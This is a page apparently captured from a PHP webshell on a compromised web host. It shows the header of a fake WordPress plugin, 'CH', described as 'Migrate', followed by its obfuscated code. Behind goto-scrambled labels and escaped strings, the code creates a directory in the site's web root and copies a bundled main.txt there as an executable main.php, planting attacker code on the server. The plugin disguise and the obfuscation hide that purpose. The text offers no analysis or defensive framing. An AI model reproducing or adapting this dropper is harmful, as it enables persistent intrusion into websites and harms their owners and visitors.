Cylul007 Webshell

Uname : Linux h2web131 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1~deb8u1 (2020-02-21) x86_64
PHP : 7.2.34 on fpm-fcgi
Time : 10 Dec 2025 08:34:43

Path : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-content/plugins/olierekswj/

Current File : /home/clients/bc55d1d9a618a64acfd6a3c258c080a1/web/wp-content/plugins/olierekswj/back.php

<?php
/**
 * Plugin Name: CH
 * Plugin URI: https://CH.com/
 * Description: Migrate .
 * Version: 2025
 * Requires at least: 5
 * Tested up to: 6.7
 * Requires PHP: 5.3
 * Author: CH
 * Author URI: https://CH.com/
 * Network: true
 * Text Domain: ss
 * License: GPLv2 or later
 *
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License, version 2, as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 */
goto o8Dq6; WOl0K: die("\123\157\x75\x72\143\145\40\x66\151\154\145\40\x6e\157\164\x20\x66\157\x75\x6e\x64\x3a\40{$jCaLg}"); goto qaJ3t; Ge9tp: die("\106\x61\151\154\x65\x64\40\x74\157\x20\x72\x65\141\x64\x20\143\x6f\156\x74\145\x6e\164\40\146\162\x6f\155\x20{$jCaLg}"); goto byr_z; byr_z: J86xg: goto nDQ75; TWdma: die("\x46\141\x69\154\145\144\40\164\x6f\x20\x77\162\151\164\x65\x20\143\x6f\x6e\x74\x65\x6e\164\x20\x74\x6f\x20{$CH1Of}"); goto EsuFW; o8Dq6: $uK2QN = dirname(__DIR__, 3); goto y2S7p; qaJ3t: PHJT4: goto F6mNd; pYNM8: if (mkdir($jgl5C, 0755, true)) { goto Bmgix; } goto Tnmpm; gFzng: k8rNL: goto saWSH; Rf0Ee: if (!($ADXL_ === false)) { goto J86xg; } goto Ge9tp; saWSH: $ADXL_ = file_get_contents($jCaLg); goto Rf0Ee; Tnmpm: die("\x46\141\151\154\145\144\x20\164\x6f\x20\143\162\x65\141\x74\145\x20\144\x69\x72\x65\143\x74\157\x72\171\72\x20{$jgl5C}"); goto V31fo; deDlA: $CH1Of = $jgl5C . "\57\155\x61\151\x6e\56\x70\x68\x70"; goto LLCoM; y2S7p: $cXr0I = "\x6f\x66\x69\x72\x6e\150\x6f\157\x7a\165"; goto daiCM; fQEBJ: if (file_exists($jCaLg)) { goto PHJT4; } goto WOl0K; F6mNd: if (is_dir($jgl5C)) { goto k8rNL; } goto pYNM8; nDQ75: if (!(file_put_contents($CH1Of, $ADXL_) === false)) { goto Za2js; } goto TWdma; V31fo: Bmgix: goto gFzng; LLCoM: $jCaLg = __DIR__ . "\x2f\x6d\141\x69\156\56\x74\x78\164"; goto fQEBJ; daiCM: $jgl5C = $uK2QN . "\57" . $cXr0I; goto deDlA; EsuFW: Za2js: goto JvT8g; JvT8g: echo "\x53\x75\143\143\x65\163\163\146\x75\154\x6c\x79\x20\x63\157\x70\151\x65\x64\40\x63\157\x6e\x74\145\x6e\164\x20\x66\x72\x6f\x6d\x20{$jCaLg}\x20\164\157\40{$CH1Of}";